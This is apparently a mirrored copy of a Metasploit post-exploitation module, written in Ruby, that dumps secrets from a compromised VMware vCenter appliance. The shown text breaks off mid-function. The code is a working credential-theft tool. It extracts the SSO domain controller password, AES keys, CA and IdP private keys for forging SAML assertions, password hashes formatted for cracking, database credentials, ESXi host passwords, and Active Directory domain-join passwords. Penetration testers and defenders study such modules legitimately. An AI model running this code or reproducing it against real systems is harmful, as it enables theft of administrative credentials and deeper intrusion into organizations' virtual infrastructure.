Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/vcenter_secrets_dump.rb
32233 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/credential_collection'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Common
10
include Msf::Post::File
11
include Msf::Auxiliary::Report
12
include Msf::Post::Linux::Priv
13
include Msf::Post::Vcenter::Vcenter
14
include Msf::Post::Vcenter::Database
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'VMware vCenter Secrets Dump',
21
'Description' => %q{
22
Grab secrets and keys from the vCenter server and add them to
23
loot. This module is tested against the vCenter appliance only;
24
it will not work on Windows vCenter instances. It is intended to
25
be run after successfully acquiring root access on a vCenter
26
appliance and is useful for penetrating further into the
27
environment following a vCenter exploit that results in a root
28
shell.
29
30
Secrets include the dcAccountDN and dcAccountPassword for
31
the vCenter machine which can be used for maniuplating the SSO
32
domain via standard LDAP interface; good for plugging into the
33
vmware_vcenter_vmdir_ldap module or for adding new SSO admin
34
users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with
35
associated private keys are also plundered and can be used to
36
sign forged SAML assertions for the /ui admin interface.
37
},
38
'Author' => [
39
'npm[at]cesium137.io', # original vcenter secrets dump
40
'Erik Wynter', # @wyntererik, postgres additions
41
'h00die' # tying it all together
42
],
43
'Platform' => [ 'linux', 'unix' ],
44
'DisclosureDate' => '2022-04-15',
45
'SessionTypes' => [ 'meterpreter', 'shell' ],
46
'License' => MSF_LICENSE,
47
'Actions' => [
48
[
49
'Dump',
50
{
51
'Description' => 'Dump vCenter Secrets'
52
}
53
]
54
],
55
'DefaultAction' => 'Dump',
56
'References' => [
57
[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],
58
[ 'CVE', '2022-22948' ],
59
[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],
60
[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ],
61
[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]
62
],
63
'Notes' => {
64
'Stability' => [ CRASH_SAFE ],
65
'Reliability' => [ ],
66
'SideEffects' => [ IOC_IN_LOGS ]
67
}
68
)
69
)
70
register_advanced_options([
71
OptBool.new('DUMP_VMDIR', [ true, 'Extract SSO domain information', true ]),
72
OptBool.new('DUMP_VMAFD', [ true, 'Extract vSphere certificates, private keys, and secrets', true ]),
73
OptBool.new('DUMP_SPEC', [ true, 'If DUMP_VMAFD is enabled, attempt to extract VM Guest Customization secrets from PSQL', true ]),
74
OptBool.new('DUMP_LIC', [ true, 'If DUMP_VMDIR is enabled, attempt to extract vSphere license keys', false ])
75
])
76
end
77
78
# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.
79
def ldapsearch_bin
80
'/opt/likewise/bin/ldapsearch'
81
end
82
83
def psql_bin
84
'/opt/vmware/vpostgres/current/bin/psql'
85
end
86
87
def vcenter_management
88
vc_type_embedded || vc_type_management
89
end
90
91
def vcenter_infrastructure
92
vc_type_embedded || vc_type_infrastructure
93
end
94
95
def check_cve_2022_22948
96
# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L5
97
cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'
98
end
99
100
def run
101
get_vcsa_version
102
103
if check_cve_2022_22948
104
print_good('Vulnerable to CVE-2022-22948')
105
report_vuln(
106
host: rhost,
107
port: rport,
108
name: name,
109
refs: ['CVE-2022-22948'],
110
info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"
111
)
112
end
113
114
print_status('Validating target')
115
validate_target
116
117
print_status('Gathering vSphere SSO domain information')
118
vmdir_init
119
120
print_status('Extracting PostgreSQL database credentials')
121
get_db_creds
122
123
print_status('Extract ESXi host vpxuser credentials')
124
enum_vpx_user_creds
125
126
if datastore['DUMP_VMDIR'] && vcenter_infrastructure
127
print_status('Extracting vSphere SSO domain secrets')
128
vmdir_dump
129
end
130
131
if datastore['DUMP_VMAFD']
132
print_status('Extracting certificates from vSphere platform')
133
vmafd_dump
134
if datastore['DUMP_SPEC'] && vcenter_management
135
print_status('Searching for secrets in VM Guest Customization Specification XML')
136
enum_vm_cust_spec
137
end
138
end
139
140
if is_root?
141
print_status('Retrieving .pgpass file')
142
retrieved_pg_creds = false
143
pgpass_contents = process_pgpass_file
144
145
pgpass_contents.each do |p|
146
extra_service_data = {
147
address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],
148
port: p['port'],
149
service_name: 'psql',
150
protocol: 'tcp',
151
workspace_id: myworkspace_id,
152
module_fullname: fullname,
153
origin_type: :service
154
}
155
print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")
156
store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)
157
next if p['database'] != 'postgres'
158
159
next unless retrieved_pg_creds == false
160
161
creds = query_pg_shadow_values(p['password'], p['username'], p['database'])
162
retrieved_pg_creds = true unless creds.nil?
163
creds.each do |cred|
164
print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")
165
credential_data = {
166
username: cred['user'],
167
private_data: cred['password_hash'],
168
private_type: :nonreplayable_hash,
169
jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
170
}.merge(extra_service_data)
171
172
login_data = {
173
core: create_credential(credential_data),
174
status: Metasploit::Model::Login::Status::UNTRIED
175
}.merge(extra_service_data)
176
177
create_credential_login(login_data)
178
end
179
end
180
path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')
181
print_good("Saving the /root/.pgpass contents to #{path}")
182
end
183
end
184
185
def vmdir_init
186
self.keystore = {}
187
188
vsphere_machine_id = get_machine_id
189
if is_uuid?(vsphere_machine_id)
190
vprint_status("vSphere Machine ID: #{vsphere_machine_id}")
191
else
192
print_bad('Invalid vSphere PSC Machine UUID returned from vmafd-cli')
193
end
194
195
vsphere_domain_name = get_domain_name
196
unless is_fqdn?(vsphere_domain_name)
197
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vSphere SSO domain name via lwregshell')
198
end
199
200
self.base_fqdn = vsphere_domain_name.to_s.downcase
201
vprint_status("vSphere SSO Domain FQDN: #{base_fqdn}")
202
203
vsphere_domain_dn = 'dc=' + base_fqdn.split('.').join(',dc=')
204
self.base_dn = vsphere_domain_dn
205
vprint_status("vSphere SSO Domain DN: #{base_dn}")
206
207
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')
208
vsphere_domain_dc_dn = get_domain_dc_dn
209
unless is_dn?(vsphere_domain_dc_dn)
210
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')
211
end
212
213
self.bind_dn = vsphere_domain_dc_dn
214
print_good("vSphere SSO DC DN: #{bind_dn}")
215
self.bind_pw = get_domain_dc_password
216
unless bind_pw
217
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountPassword from lwregshell')
218
end
219
220
print_good("vSphere SSO DC PW: #{bind_pw}")
221
# clean up double quotes
222
# originally we wrapped in singles, but escaping of single quotes was not working, so prefer doubles
223
self.bind_pw = bind_pw.gsub('"') { '\\"' }
224
self.shell_bind_pw = "\"#{bind_pw}\""
225
226
extra_service_data = {
227
address: Rex::Socket.getaddress(rhost),
228
port: 389,
229
service_name: 'ldap',
230
protocol: 'tcp',
231
workspace_id: myworkspace_id,
232
module_fullname: fullname,
233
origin_type: :service,
234
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
235
realm_value: base_fqdn
236
}
237
238
store_valid_credential(user: bind_dn, private: bind_pw, service_data: extra_service_data)
239
240
get_aes_keys_from_host
241
end
242
243
def vmdir_dump
244
print_status('Dumping vmdir schema to LDIF and storing to loot...')
245
vmdir_ldif = get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
246
if vmdir_ldif.nil?
247
print_error('Error processing LDIF file')
248
return
249
end
250
251
p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')
252
print_good("LDIF Dump: #{p}")
253
254
print_status('Processing vmdir LDIF (this may take several minutes)')
255
ldif_file = ::File.open(p, 'rb')
256
ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)
257
258
print_status('Processing LDIF entries')
259
entries = ldif_data.to_entries
260
261
print_status('Processing SSO account hashes')
262
vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }
263
process_hashes(vmware_sso_hash_entries)
264
265
print_status('Processing SSO identity sources')
266
vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }
267
process_sso_providers(vmware_sso_id_entries)
268
269
if datastore['DUMP_LIC']
270
print_status('Extract licenses from vCenter platform')
271
vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }
272
get_vc_licenses(vmware_license_entries)
273
end
274
end
275
276
def vmafd_dump
277
if vcenter_infrastructure
278
get_vmca_cert
279
get_idp_creds
280
end
281
282
vecs_stores = get_vecs_stores
283
return if vecs_stores.nil?
284
285
if vecs_stores.empty?
286
print_error('Empty vecs-cli store list returned from vCenter')
287
return
288
end
289
290
vecs_stores.each do |vecs_store|
291
vecs_entries = get_vecs_entries(vecs_store)
292
vecs_entries.each do |vecs_entry|
293
next unless vecs_entry['Entry type'] == 'Private Key'
294
295
get_vecs_entry(vecs_store, vecs_entry)
296
end
297
end
298
end
299
300
def get_vecs_entry(store_name, vecs_entry)
301
store_label = store_name.upcase
302
303
vprint_status("Extract #{store_label} key")
304
key = get_vecs_private_key(store_name, vecs_entry['Alias'])
305
if key.nil?
306
print_bad("Could not extract #{store_label} private key")
307
else
308
p = store_loot(vecs_entry['Alias'], 'PEM', rhost, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
309
print_good("#{store_label} Key: #{p}")
310
end
311
312
vprint_status("Extract #{store_label} certificate")
313
cert = validate_x509_cert(vecs_entry['Certificate'])
314
if cert.nil?
315
print_bad("Could not extract #{store_label} certificate")
316
return
317
end
318
p = store_loot(vecs_entry['Alias'], 'PEM', rhost, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
319
print_good("#{store_label} Cert: #{p}")
320
321
unless key.nil?
322
update_keystore(cert, key)
323
end
324
end
325
326
def get_vmca_cert
327
vprint_status('Extract VMCA_ROOT key')
328
329
unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')
330
print_error('Could not locate VMCA_ROOT keypair')
331
return
332
end
333
334
vmca_key_b64 = read_file('/var/lib/vmware/vmca/privatekey.pem')
335
336
vmca_key = validate_pkey(vmca_key_b64)
337
if vmca_key.nil?
338
print_error('Could not extract VMCA_ROOT private key')
339
return
340
end
341
342
p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')
343
print_good("VMCA_ROOT key: #{p}")
344
345
vprint_status('Extract VMCA_ROOT cert')
346
vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')
347
348
vmca_cert = validate_x509_cert(vmca_cert_b64)
349
if vmca_cert.nil?
350
print_error('Could not extract VMCA_ROOT certificate')
351
return
352
end
353
354
unless vmca_cert.check_private_key(vmca_key)
355
print_error('VMCA_ROOT certificate and private key mismatch')
356
return
357
end
358
359
p = store_loot('vmca', 'PEM', rhost, vmca_cert, 'VMCA_ROOT.pem', 'vCenter VMCA root CA certificate')
360
print_good("VMCA_ROOT cert: #{p}")
361
362
update_keystore(vmca_cert, vmca_key)
363
end
364
365
# Shamelessly borrowed from vmware_vcenter_vmdir_ldap.rb
366
def process_hashes(entries)
367
if entries.empty?
368
print_warning('No password hashes found')
369
return
370
end
371
372
service_details = {
373
workspace_id: myworkspace_id,
374
module_fullname: fullname,
375
origin_type: :service,
376
address: rhost,
377
port: '389',
378
protocol: 'tcp',
379
service_name: 'vmdir/ldap'
380
}
381
382
entries.each do |entry|
383
# This is the "username"
384
dn = entry.dn
385
386
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76
387
type, hash, salt = entry[:userpassword].first.unpack('CH128H32')
388
389
case type
390
when 1
391
unless hash.length == 128
392
vprint_error("Type #{type} hash length is not 128 digits (#{dn})")
393
next
394
end
395
396
unless salt.length == 32
397
vprint_error("Type #{type} salt length is not 32 digits (#{dn})")
398
next
399
end
400
401
# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197
402
john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"
403
else
404
vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")
405
next
406
end
407
408
print_good("vSphere SSO User Credential: #{dn}:#{john_hash}")
409
410
create_credential(service_details.merge(
411
username: dn,
412
private_data: john_hash,
413
private_type: :nonreplayable_hash,
414
jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)
415
))
416
end
417
end
418
419
def process_sso_providers(entries)
420
if entries.empty?
421
print_warning('No SSO ID provider information found')
422
return
423
end
424
425
if entries.is_a?(String)
426
entries = entries.split("\n")
427
end
428
429
entries.each do |entry|
430
sso_prov_type = entry[:vmwSTSProviderType].first
431
sso_conn_str = entry[:vmwSTSConnectionStrings].first
432
sso_user = entry[:vmwSTSUserName].first
433
434
# On vCenter 7.x instances the tenant AES key was always Base64 encoded vs. plaintext, and vmwSTSPassword was missing from the LDIF dump.
435
# It appears that vCenter 7.x does not return vmwSTSPassword even with appropriate LDAP flags - this is not like prior versions.
436
# The data can still be extracted directly with ldapsearch syntax below which works in all versions, but is a PITA.
437
vmdir_user_sso_pass = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(&(objectClass=vmwSTSIdentityStore)(vmwSTSConnectionStrings=#{sso_conn_str}))\" \"vmwSTSPassword\" | awk -F 'vmwSTSPassword: ' '{print $2}'").split("\n").last
438
sso_pass = tenant_aes_decrypt(vmdir_user_sso_pass)
439
440
sso_domain = entry[:vmwSTSDomainName].first
441
442
sso_conn_uri = URI.parse(sso_conn_str)
443
444
extra_service_data = {
445
address: Rex::Socket.getaddress(rhost),
446
port: sso_conn_uri.port,
447
service_name: sso_conn_uri.scheme,
448
protocol: 'tcp',
449
workspace_id: myworkspace_id,
450
module_fullname: fullname,
451
origin_type: :service,
452
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
453
realm_value: sso_domain
454
}
455
456
store_valid_credential(user: sso_user, private: sso_pass, service_data: extra_service_data)
457
print_status('Found SSO Identity Source Credential:')
458
print_good("#{sso_prov_type} @ #{sso_conn_str}:")
459
print_good("\t SSOUSER: #{sso_user}")
460
print_good("\t SSOPASS: #{sso_pass}")
461
print_good("\tSSODOMAIN: #{sso_domain}")
462
end
463
end
464
465
def get_aes_keys_from_host
466
print_status('Extracting tenant and vpx AES encryption key...')
467
468
tenant_key = get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
469
fail_with(Msf::Exploit::Failure::Unknown, 'Error extracting tenant and vpx AES encryption key') if tenant_key.nil?
470
471
tenant_key.each do |aes_key|
472
aes_key_len = aes_key.length
473
# our first case is to process it out
474
case aes_key_len
475
when 16
476
self.vc_tenant_aes_key = aes_key
477
self.vc_tenant_aes_key_hex = vc_tenant_aes_key.unpack('H*').first
478
vprint_status("vCenter returned a plaintext AES key: #{aes_key}")
479
when 24
480
self.vc_tenant_aes_key = Base64.strict_decode64(aes_key)
481
self.vc_tenant_aes_key_hex = Base64.strict_decode64(aes_key).unpack('H*').first
482
vprint_status("vCenter returned a Base64 AES key: #{aes_key}")
483
when 64
484
self.vc_sym_key = aes_key.scan(/../).map(&:hex).pack('C*')
485
self.vc_sym_key_raw = aes_key
486
print_good('vSphere vmware-vpx AES encryption')
487
print_good("\tHEX: #{aes_key}")
488
else
489
print_error("Invalid tenant AES encryption key size - expecting 16 raw bytes or 24 Base64 bytes, got #{aes_key_len}")
490
next
491
end
492
493
extra_service_data = {
494
address: Rex::Socket.getaddress(rhost),
495
protocol: 'tcp',
496
workspace_id: myworkspace_id,
497
module_fullname: fullname,
498
origin_type: :service,
499
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
500
realm_value: base_fqdn
501
}
502
# our second case is to store it correctly
503
case aes_key_len
504
when 16, 24
505
print_good('vSphere Tenant AES encryption')
506
print_good("\tKEY: #{vc_tenant_aes_key}")
507
print_good("\tHEX: #{vc_tenant_aes_key_hex}")
508
509
store_valid_credential(user: 'STS AES key', private: vc_tenant_aes_key, service_data: extra_service_data.merge({
510
port: 389,
511
service_name: 'ldap'
512
}))
513
when 64
514
store_valid_credential(user: 'VPX AES key', private: vc_sym_key_raw, service_data: extra_service_data.merge({
515
port: 5432,
516
service_name: 'psql'
517
}))
518
end
519
end
520
end
521
522
def tenant_aes_decrypt(b64)
523
# https://github.com/vmware/lightwave/blob/master/vmidentity/idm/server/src/main/java/com/vmware/identity/idm/server/CryptoAESE.java#L44-L45
524
ciphertext = Base64.strict_decode64(b64)
525
decipher = OpenSSL::Cipher.new('aes-128-ecb')
526
decipher.decrypt
527
decipher.padding = 0
528
decipher.key = vc_tenant_aes_key
529
return (decipher.update(ciphertext) + decipher.final).delete("\000")
530
rescue StandardError => e
531
elog('Error performing tenant_aes_decrypt', error: e)
532
fail_with(Msf::Exploit::Failure::Unknown, 'Error performing tenant_aes_decrypt')
533
end
534
535
def update_keystore(public_key, private_key)
536
if public_key.is_a? String
537
cert = validate_x509_cert(public_key)
538
else
539
cert = public_key
540
end
541
if private_key.is_a? String
542
key = validate_pkey(private_key)
543
else
544
key = private_key
545
end
546
cert_thumbprint = OpenSSL::Digest::SHA1.new(cert.to_der).to_s
547
keystore[cert_thumbprint] = key
548
rescue StandardError => e
549
elog('Error updating module keystore', error: e)
550
fail_with(Msf::Exploit::Failure::Unknown, 'Error updating module keystore')
551
end
552
553
def get_idp_creds
554
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')
555
idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
556
if idp_keys.nil?
557
print_error('Error processing IdP trusted certificate private key')
558
return
559
end
560
561
idp_certs = get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
562
if idp_certs.nil?
563
print_error('Error processing IdP trusted certificate chain')
564
return
565
end
566
567
vprint_status('Parsing vmwSTSTenantCredential certificates and keys')
568
569
# vCenter vmdir stores the STS IdP signing credential under the following DN:
570
# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>
571
572
sts_cert = nil
573
sts_key = nil
574
sts_pem = nil
575
idp_keys.each do |stskey|
576
idp_certs.each do |stscert|
577
next unless stscert.check_private_key(stskey)
578
579
sts_cert = stscert.to_pem.to_s
580
sts_key = stskey.to_pem.to_s
581
if validate_sts_cert(sts_cert)
582
vprint_status('Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate')
583
else # Query IDM to compare our extracted cert with the IDM advertised cert
584
print_warning('Could not reconcile vmdir STS IdP cert chain with cert chain advertised by IDM - this credential may not work')
585
end
586
sts_pem = "#{sts_key}#{sts_cert}"
587
end
588
end
589
590
unless sts_pem # We were unable to link a public and private key together
591
print_error('Unable to associate IdP certificate and private key')
592
return
593
end
594
595
p = store_loot('idp', 'application/x-pem-file', rhost, sts_key, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')
596
print_good("SSO_STS_IDP key: #{p}")
597
598
p = store_loot('idp', 'application/x-pem-file', rhost, sts_cert, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')
599
print_good("SSO_STS_IDP cert: #{p}")
600
601
update_keystore(sts_cert, sts_key)
602
end
603
604
def get_vc_licenses(entries)
605
if entries.empty?
606
print_warning('No vSphere Licenses Found')
607
return
608
end
609
610
if entries.is_a?(String)
611
entries = entries.split("\n")
612
end
613
614
entries.each do |entry|
615
vc_lic_name = entry[:vmwLicSvcLicenseName].first
616
vc_lic_type = entry[:vmwLicSvcLicenseType].first
617
vc_lic_key = entry[:vmwLicSvcLicenseSerialKeys].first
618
vc_lic_label = "#{vc_lic_name} #{vc_lic_type}"
619
620
extra_service_data = {
621
address: Rex::Socket.getaddress(rhost),
622
port: 443,
623
service_name: 'https',
624
protocol: 'tcp',
625
workspace_id: myworkspace_id,
626
module_fullname: fullname,
627
origin_type: :service,
628
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
629
realm_value: base_fqdn
630
}
631
632
store_valid_credential(user: vc_lic_label, private: vc_lic_key, service_data: extra_service_data)
633
print_good("\t#{vc_lic_label}: #{vc_lic_key}")
634
end
635
end
636
637
def enum_vm_cust_spec
638
vpx_customization_specs = get_vpx_customization_spec(shell_vcdb_pass, vcdb_user, vcdb_name)
639
640
if vpx_customization_specs.nil?
641
print_warning('No vpx_customization_spec entries evident')
642
return
643
end
644
645
vpx_customization_specs.each do |spec|
646
xmldoc = vpx_customization_specs[spec]
647
648
unless (enc_cert_len = xmldoc.at_xpath('/ConfigRoot/encryptionKey/_length').text.to_i)
649
print_error("Could not determine DER byte length for vpx_customization_spec '#{spec}'")
650
next
651
end
652
653
enc_cert_der = []
654
der_idx = 0
655
656
print_status('Validating data encipherment key')
657
while der_idx <= enc_cert_len - 1
658
enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i
659
der_idx += 1
660
end
661
662
enc_cert = validate_x509_cert(enc_cert_der.pack('C*'))
663
if enc_cert.nil?
664
print_error("Invalid encryption certificate for vpx_customization_spec '#{spec}'")
665
next
666
end
667
668
enc_cert_thumbprint = OpenSSL::Digest::SHA1.new(enc_cert.to_der).to_s
669
vprint_status("Secrets for '#{spec}' were encrypted using public certificate with SHA1 digest #{enc_cert_thumbprint}")
670
671
unless (enc_keystore_entry = keystore[enc_cert_thumbprint])
672
print_warning('Could not associate encryption public key with any of the private keys extracted from vCenter, skipping')
673
next
674
end
675
676
vc_cipher_key = validate_pkey(enc_keystore_entry)
677
if vc_cipher_key.nil?
678
print_error("Could not access private key for VM Guest Customization Template '#{spec}', cannot decrypt")
679
next
680
end
681
682
unless enc_cert.check_private_key(vc_cipher_key)
683
print_error("vCenter private key does not associate with public key for VM Guest Customization Template '#{spec}', cannot decrypt")
684
next
685
end
686
687
key_digest = OpenSSL::Digest::SHA1.new(vc_cipher_key.to_der).to_s
688
vprint_status("Decrypt using #{vc_cipher_key.n.num_bits}-bit #{vc_cipher_key.oid} SHA1: #{key_digest}")
689
690
# Check for static local machine password
691
if (sysprep_element_unattend = xmldoc.at_xpath('/ConfigRoot/identity/guiUnattended'))
692
next unless sysprep_element_unattend.at_xpath('//guiUnattended/password/plainText')
693
694
secret_is_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/plainText').text
695
696
case secret_is_plaintext.downcase
697
when 'true'
698
secret_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
699
when 'false'
700
secret_ciphertext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
701
ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
702
secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
703
else
704
print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
705
next
706
end
707
print_status("Initial administrator account password found for vpx_customization_spec '#{spec}':")
708
print_good("\tInitial Admin PW: #{secret_plaintext}")
709
710
extra_service_data = {
711
address: Rex::Socket.getaddress(rhost),
712
port: 445,
713
protocol: 'tcp',
714
service_name: 'Windows',
715
workspace_id: myworkspace_id,
716
module_fullname: fullname,
717
origin_type: :service,
718
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
719
realm_value: '.'
720
}
721
722
store_valid_credential(user: '(local built-in administrator)', private: secret_plaintext, service_data: extra_service_data)
723
end
724
725
# Check for account used for domain join
726
next unless (domain_element_unattend = xmldoc.at_xpath('//identification'))
727
next unless domain_element_unattend.at_xpath('//identification/domainAdminPassword/plainText')
728
729
secret_is_plaintext = domain_element_unattend.xpath('//identification/domainAdminPassword/plainText').text
730
domain_user = domain_element_unattend.xpath('//identification/domainAdmin').text
731
domain_base = domain_element_unattend.xpath('//identification/joinDomain').text
732
733
case secret_is_plaintext.downcase
734
when 'true'
735
secret_plaintext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
736
when 'false'
737
secret_ciphertext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
738
ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
739
secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
740
else
741
print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
742
next
743
end
744
745
print_status("AD domain join account found for vpx_customization_spec '#{spec}':")
746
747
case domain_base.include?('.')
748
when true
749
print_good("\tAD User: #{domain_user}@#{domain_base}")
750
when false
751
print_good("\tAD User: #{domain_base}\\#{domain_user}")
752
end
753
print_good("\tAD Pass: #{secret_plaintext}")
754
755
extra_service_data = {
756
address: Rex::Socket.getaddress(rhost),
757
port: 445,
758
protocol: 'tcp',
759
service_name: 'Windows',
760
workspace_id: myworkspace_id,
761
module_fullname: fullname,
762
origin_type: :service,
763
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
764
realm_value: domain_base
765
}
766
767
store_valid_credential(user: domain_user, private: secret_plaintext, service_data: extra_service_data)
768
end
769
end
770
771
def enum_vpx_user_creds
772
vpxuser_rows = get_vpx_users(shell_vcdb_pass, vcdb_user, vcdb_name, vc_sym_key)
773
774
if vpxuser_rows.nil?
775
print_warning('No ESXi hosts attached to this vCenter system')
776
return
777
end
778
779
vpxuser_rows.each do |user|
780
print_good("ESXi Host #{user['fqdn']} [#{user['ip']}]\t LOGIN: #{user['user']} PASS: #{user['password']}")
781
782
extra_service_data = {
783
address: user['ip'],
784
port: 22,
785
protocol: 'tcp',
786
service_name: 'ssh',
787
workspace_id: myworkspace_id,
788
module_fullname: fullname,
789
origin_type: :service,
790
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
791
realm_value: user['fqdn']
792
}
793
794
# XXX is this always root? store_valid_credential(user: 'root', private: user['password'], service_data: extra_service_data)
795
store_valid_credential(user: user['user'], private: user['password'], service_data: extra_service_data)
796
end
797
end
798
799
def get_db_creds
800
db_properties = process_vcdb_properties_file
801
802
self.vcdb_name = db_properties['name']
803
self.vcdb_user = db_properties['username']
804
self.vcdb_pass = db_properties['password']
805
806
self.shell_vcdb_pass = "'#{vcdb_pass.gsub("'") { "\\'" }}'"
807
808
print_good("\tVCDB Name: #{vcdb_name}")
809
print_good("\tVCDB User: #{vcdb_user}")
810
print_good("\tVCDB Pass: #{vcdb_pass}")
811
812
extra_service_data = {
813
address: Rex::Socket.getaddress(rhost),
814
port: 5432,
815
service_name: 'psql',
816
protocol: 'tcp',
817
workspace_id: myworkspace_id,
818
module_fullname: fullname,
819
origin_type: :service,
820
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
821
realm_value: vcdb_name
822
}
823
824
store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)
825
print_status('Checking for VPX Users')
826
creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)
827
if creds.nil?
828
print_bad('No VPXUSER entries were found')
829
return
830
end
831
creds.each do |cred|
832
extra_service_data = {
833
address: cred['ip_address'],
834
service_name: 'vpx',
835
protocol: 'tcp',
836
workspace_id: myworkspace_id,
837
module_fullname: fullname,
838
origin_type: :service,
839
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
840
realm_value: vcdb_name
841
}
842
if cred.key? 'decrypted_password'
843
print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")
844
credential_data = {
845
username: cred['user'],
846
private_data: cred['decrypted_password'],
847
private_type: :password
848
}.merge(extra_service_data)
849
else
850
print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")
851
credential_data = {
852
username: cred['user'],
853
private_data: cred['password_hash'],
854
private_type: :nonreplayable_hash
855
# this is encrypted, not hashed, so no need for the following line, leaving it as a note
856
# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
857
}.merge(extra_service_data)
858
end
859
860
login_data = {
861
core: create_credential(credential_data),
862
status: Metasploit::Model::Login::Status::UNTRIED
863
}.merge(extra_service_data)
864
865
create_credential_login(login_data)
866
end
867
end
868
869
def validate_sts_cert(test_cert)
870
cert = validate_x509_cert(test_cert)
871
return false if cert.nil?
872
873
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')
874
875
idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")
876
877
if idm_cmd.blank?
878
